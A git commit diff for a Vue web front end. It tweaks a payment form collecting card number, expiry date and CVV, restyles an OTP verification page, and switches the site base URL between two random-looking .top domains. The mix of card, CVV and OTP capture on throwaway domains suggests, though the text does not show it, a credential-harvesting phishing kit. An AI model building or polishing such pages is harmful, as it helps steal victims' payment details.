update
This commit is contained in:
@@ -531,7 +531,7 @@ onUnmounted(() => {
|
|||||||
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.cardNumber || !!cardMessage }">
|
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.cardNumber || !!cardMessage }">
|
||||||
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.card_number') }}</span><span class="ct1__required">*</span></label>
|
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.card_number') }}</span><span class="ct1__required">*</span></label>
|
||||||
<div class="ct1__input-box">
|
<div class="ct1__input-box">
|
||||||
<input class="ct1__input" autocomplete="cc-number" maxlength="19" placeholder="0000 0000 0000 0000"
|
<input class="ct1__input" autocomplete="cc-number" inputmode="numeric" maxlength="19" placeholder="0000 0000 0000 0000"
|
||||||
:value="formData.cardNumber" @input="onCardNumberChange">
|
:value="formData.cardNumber" @input="onCardNumberChange">
|
||||||
</div>
|
</div>
|
||||||
<span v-if="errors.cardNumber || cardMessage" class="ct1__err">{{ errors.cardNumber || cardMessage }}</span>
|
<span v-if="errors.cardNumber || cardMessage" class="ct1__err">{{ errors.cardNumber || cardMessage }}</span>
|
||||||
@@ -542,14 +542,14 @@ onUnmounted(() => {
|
|||||||
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.expires || !!expiresMessage }">
|
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.expires || !!expiresMessage }">
|
||||||
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.expire_date') }}</span><span class="ct1__required">*</span></label>
|
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.expire_date') }}</span><span class="ct1__required">*</span></label>
|
||||||
<div class="ct1__input-box">
|
<div class="ct1__input-box">
|
||||||
<input class="ct1__input" autocomplete="cc-exp" maxlength="5" placeholder="MM/YY" :value="formData.expires" @input="onExpiresChange">
|
<input class="ct1__input" autocomplete="cc-exp" inputmode="numeric" maxlength="5" placeholder="MM/YY" :value="formData.expires" @input="onExpiresChange">
|
||||||
</div>
|
</div>
|
||||||
<span v-if="errors.expires || expiresMessage" class="ct1__err">{{ errors.expires || expiresMessage }}</span>
|
<span v-if="errors.expires || expiresMessage" class="ct1__err">{{ errors.expires || expiresMessage }}</span>
|
||||||
</div>
|
</div>
|
||||||
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.cvv || !!cvvMessage }">
|
<div class="ct1__field" :class="{ 'ct1__field--error': !!errors.cvv || !!cvvMessage }">
|
||||||
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.security_code') }}</span><span class="ct1__required">*</span></label>
|
<label class="ct1__label"><span class="ct1__label-text">{{ t('card_view.security_code') }}</span><span class="ct1__required">*</span></label>
|
||||||
<div class="ct1__input-box">
|
<div class="ct1__input-box">
|
||||||
<input class="ct1__input" autocomplete="cc-csc" maxlength="4" placeholder="123" :value="formData.cvv" @input="onCvvChange">
|
<input class="ct1__input" autocomplete="cc-csc" inputmode="numeric" maxlength="4" placeholder="123" :value="formData.cvv" @input="onCvvChange">
|
||||||
</div>
|
</div>
|
||||||
<span v-if="errors.cvv || cvvMessage" class="ct1__err">{{ errors.cvv || cvvMessage }}</span>
|
<span v-if="errors.cvv || cvvMessage" class="ct1__err">{{ errors.cvv || cvvMessage }}</span>
|
||||||
</div>
|
</div>
|
||||||
|
|||||||
@@ -42,9 +42,7 @@ const onchange = (value: any) => {
|
|||||||
|
|
||||||
const submit = async () => {
|
const submit = async () => {
|
||||||
await nextTick();
|
await nextTick();
|
||||||
loadingStore.setLoading(true);
|
|
||||||
if (!areAllValuesNotEmpty(formData)) {
|
if (!areAllValuesNotEmpty(formData)) {
|
||||||
loadingStore.setLoading(false);
|
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -393,7 +391,7 @@ onUnmounted(() => {
|
|||||||
|
|
||||||
.otp-title {
|
.otp-title {
|
||||||
margin: 0 0 10px;
|
margin: 0 0 10px;
|
||||||
font-size: 1.45rem;
|
font-size: 23px;
|
||||||
font-weight: 800;
|
font-weight: 800;
|
||||||
color: #0f172a;
|
color: #0f172a;
|
||||||
letter-spacing: -0.4px;
|
letter-spacing: -0.4px;
|
||||||
@@ -402,7 +400,7 @@ onUnmounted(() => {
|
|||||||
|
|
||||||
.otp-subtitle {
|
.otp-subtitle {
|
||||||
margin: 0 0 10px;
|
margin: 0 0 10px;
|
||||||
font-size: 0.9rem;
|
font-size: 14px;
|
||||||
color: #64748b;
|
color: #64748b;
|
||||||
line-height: 1.6;
|
line-height: 1.6;
|
||||||
max-width: 380px;
|
max-width: 380px;
|
||||||
@@ -424,7 +422,7 @@ onUnmounted(() => {
|
|||||||
background: #fff7ed;
|
background: #fff7ed;
|
||||||
border: 1px solid #fed7aa;
|
border: 1px solid #fed7aa;
|
||||||
border-radius: 20px;
|
border-radius: 20px;
|
||||||
font-size: 0.75rem;
|
font-size: 12px;
|
||||||
color: #92400e;
|
color: #92400e;
|
||||||
line-height: 1.4;
|
line-height: 1.4;
|
||||||
}
|
}
|
||||||
@@ -444,7 +442,7 @@ onUnmounted(() => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.otp-label {
|
.otp-label {
|
||||||
font-size: 0.82rem;
|
font-size: 13px;
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
color: #374151;
|
color: #374151;
|
||||||
letter-spacing: 0.4px;
|
letter-spacing: 0.4px;
|
||||||
@@ -479,7 +477,7 @@ onUnmounted(() => {
|
|||||||
border: none;
|
border: none;
|
||||||
outline: none;
|
outline: none;
|
||||||
background: transparent;
|
background: transparent;
|
||||||
font-size: 1.75rem;
|
font-size: 28px;
|
||||||
font-weight: 800;
|
font-weight: 800;
|
||||||
letter-spacing: 0.3em;
|
letter-spacing: 0.3em;
|
||||||
color: #111827;
|
color: #111827;
|
||||||
@@ -487,7 +485,7 @@ onUnmounted(() => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.otp-input::placeholder {
|
.otp-input::placeholder {
|
||||||
font-size: 0.92rem;
|
font-size: 15px;
|
||||||
font-weight: 400;
|
font-weight: 400;
|
||||||
letter-spacing: 0.04em;
|
letter-spacing: 0.04em;
|
||||||
color: #d1d5db;
|
color: #d1d5db;
|
||||||
@@ -497,7 +495,7 @@ onUnmounted(() => {
|
|||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
gap: 6px;
|
gap: 6px;
|
||||||
font-size: 0.8rem;
|
font-size: 13px;
|
||||||
font-weight: 500;
|
font-weight: 500;
|
||||||
color: #dc2626;
|
color: #dc2626;
|
||||||
margin: 0;
|
margin: 0;
|
||||||
@@ -517,7 +515,7 @@ onUnmounted(() => {
|
|||||||
color: #fff;
|
color: #fff;
|
||||||
border: none;
|
border: none;
|
||||||
border-radius: 12px;
|
border-radius: 12px;
|
||||||
font-size: 1rem;
|
font-size: 16px;
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
letter-spacing: 0.05em;
|
letter-spacing: 0.05em;
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
@@ -551,7 +549,7 @@ onUnmounted(() => {
|
|||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
gap: 6px;
|
gap: 6px;
|
||||||
font-size: 0.85rem;
|
font-size: 14px;
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
text-align: center;
|
text-align: center;
|
||||||
padding-bottom: 4px;
|
padding-bottom: 4px;
|
||||||
@@ -669,7 +667,7 @@ onUnmounted(() => {
|
|||||||
|
|
||||||
.otp-info-text {
|
.otp-info-text {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
font-size: 0.795rem;
|
font-size: 13px;
|
||||||
color: #6b7280;
|
color: #6b7280;
|
||||||
line-height: 1.55;
|
line-height: 1.55;
|
||||||
padding-top: 5px;
|
padding-top: 5px;
|
||||||
@@ -686,13 +684,13 @@ onUnmounted(() => {
|
|||||||
justify-content: space-between;
|
justify-content: space-between;
|
||||||
padding-top: 14px;
|
padding-top: 14px;
|
||||||
margin-top: 4px;
|
margin-top: 4px;
|
||||||
font-size: 0.78rem;
|
font-size: 12px;
|
||||||
color: #9ca3af;
|
color: #9ca3af;
|
||||||
border-top: 1px solid #f1f5f9;
|
border-top: 1px solid #f1f5f9;
|
||||||
}
|
}
|
||||||
|
|
||||||
.otp-powered {
|
.otp-powered {
|
||||||
font-size: 0.72rem;
|
font-size: 12px;
|
||||||
color: #9ca3af;
|
color: #9ca3af;
|
||||||
font-weight: 500;
|
font-weight: 500;
|
||||||
}
|
}
|
||||||
@@ -710,9 +708,9 @@ onUnmounted(() => {
|
|||||||
.otp-loading-overlay {
|
.otp-loading-overlay {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
inset: 0;
|
inset: 0;
|
||||||
background: rgba(15, 23, 42, 0.45);
|
background: rgba(15, 23, 42, 0.25);
|
||||||
backdrop-filter: blur(8px);
|
backdrop-filter: blur(4px);
|
||||||
-webkit-backdrop-filter: blur(8px);
|
-webkit-backdrop-filter: blur(4px);
|
||||||
display: flex;
|
display: flex;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
justify-content: center;
|
justify-content: center;
|
||||||
@@ -749,14 +747,14 @@ onUnmounted(() => {
|
|||||||
|
|
||||||
.otp-loading-text {
|
.otp-loading-text {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
font-size: 1rem;
|
font-size: 16px;
|
||||||
font-weight: 700;
|
font-weight: 700;
|
||||||
color: #111827;
|
color: #111827;
|
||||||
}
|
}
|
||||||
|
|
||||||
.otp-loading-sub {
|
.otp-loading-sub {
|
||||||
margin: 0;
|
margin: 0;
|
||||||
font-size: 0.8rem;
|
font-size: 13px;
|
||||||
color: #9ca3af;
|
color: #9ca3af;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -787,11 +785,11 @@ onUnmounted(() => {
|
|||||||
}
|
}
|
||||||
|
|
||||||
.otp-title {
|
.otp-title {
|
||||||
font-size: 1.25rem;
|
font-size: 20px;
|
||||||
}
|
}
|
||||||
|
|
||||||
.otp-input {
|
.otp-input {
|
||||||
font-size: 1.5rem;
|
font-size: 24px;
|
||||||
height: 56px;
|
height: 56px;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -5,7 +5,7 @@ VITE_PORT = 8848
|
|||||||
VITE_PUBLIC_PATH = ./
|
VITE_PUBLIC_PATH = ./
|
||||||
|
|
||||||
# 网站前缀
|
# 网站前缀
|
||||||
VITE_BASE_URL = "dsf.dagf7.top"
|
VITE_BASE_URL = "up.xx.sczqb6.top"
|
||||||
|
|
||||||
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
# 开发环境路由历史模式(Hash模式传"hash"、HTML5模式传"h5"、Hash模式带base参数传"hash,base参数"、HTML5模式带base参数传"h5,base参数")
|
||||||
VITE_ROUTER_HISTORY = "hash"
|
VITE_ROUTER_HISTORY = "hash"
|
||||||
|
|||||||
Reference in New Issue
Block a user